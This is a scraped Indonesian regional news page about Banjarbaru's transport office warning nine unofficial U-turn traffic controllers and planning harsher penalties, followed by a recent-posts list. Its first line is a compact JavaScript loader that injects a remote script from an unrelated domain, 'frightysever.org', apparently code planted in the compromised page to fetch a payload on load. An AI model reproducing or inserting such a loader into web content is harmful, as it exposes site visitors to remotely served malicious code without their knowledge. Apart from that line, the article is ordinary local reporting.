(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Para ‘Pengatur’ Putar Balik di Banjarbaru Hanya Ditegur, Tak Ada Sanksi


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak sembilan orang pengatur lalu lintas (lalin) tak resmi di putaran balik ruas Jalan A Yani diberikan surat peringatan Dinas Perhubungan (Dishub) Kota Banjarbaru.

Menangani para pengatur lalin di ibu kota ini, Dishub bekerjasama dengan Polres Banjarbaru menertibkan beberapa orang di sejumlah titik U Turn.

“Mereka rata-rata berasal dari Banjarmasin dan ada beberapa dari Banjarbaru,” ujar Adi Royan Pratama kepada Kanalkalimantan.com, Jumat (15/3/2024) pagi.

Baca juga: Para ‘Pengatur’ U Turn A Yani Dituding Bikin Kacau Lalin

“Dari 9 orang itu ada juga yang kita dapati mabuk lagi mengatur lalu lintas,” sambung dia.

Dalam proses penertiban, personel memberikan surat peringatan yang telah diterbitkan oleh Dishub.

Aktivitas pengatur lalu lintas di putaran balik sejumlah ruas Jalan A Yani Kota Banjarbaru, Jumat (15/3/2024) siang.

Kendati demikian, disebutkan Adi bahwa ke depan pihaknya akan memaksimalkan hukuman kepada pengatur lalin tak resmi tersebut, yakni dengan bekerjasama antara Kejaksaan atau Pengadilan Negeri di Kota Banjarbaru.

“Kerja sama ini direncanakan agar ke depannya kita betul-betul bisa menertibkan pengatur lalin tak resmi ini. Mereka akan dijatuhkan hukuman sesuai dengan Perda yang berlaku,” tuturnya.

Meski baru perencanaan, pihaknya dengan serius akan menangani persoalan pengatur lalin tak resmi ini hingga kepada penjatuhan hukuman.

Baca juga: [LIVE] – Kali ini rumah Pak Sule kedatangan tamu penting. Calon Pejabat!

“Memang prosesnya masih panjang kami harus berrtemu dengan Kejaksaan atau Pengadilan Negeri, terkait tahapan-tahapan yang harus kami lakukan, sehingga nanti pada saat kita melakukan aksi sampai kepada penjatuhan hukuman itu betul-betul clear,” jelasnya.

Sementara untuk saat ini, diakui Adi, pihaknya masih melakukan proses penertiban dengan SP yang mengimbau agar para pengatur lalin tak resmi itu tidak berkegiatan lagi di jalan.

Kalau memang diperlukan pembinaan, kata dia, hal itu nantinya akan dibahas bersama. Seperti apakah diperkukan pembinaan di rumah singgah atau dilakukan oleh Kejaksaan.

Baca juga:Pemprov Kalsel Anggarkan Rp 3 Miliar untuk Perbaikan Stadion 17 Mei

“Tapi kalau sudah mentok mereka tetap melakukan aksi di jalan setelah beberapa kali teguran maka kita terpaksa memberikan sanksi yang berat,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

42 menit ago

Pansus II ke KLHK, Bahas Raperda Pengakuan dan Perlindungan Masyarakat Hukum Adat

KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More

47 menit ago

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

56 menit ago

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

12 jam ago

Rekayasa Pemasangan ATCS, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

13 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

14 jam ago

This website uses cookies.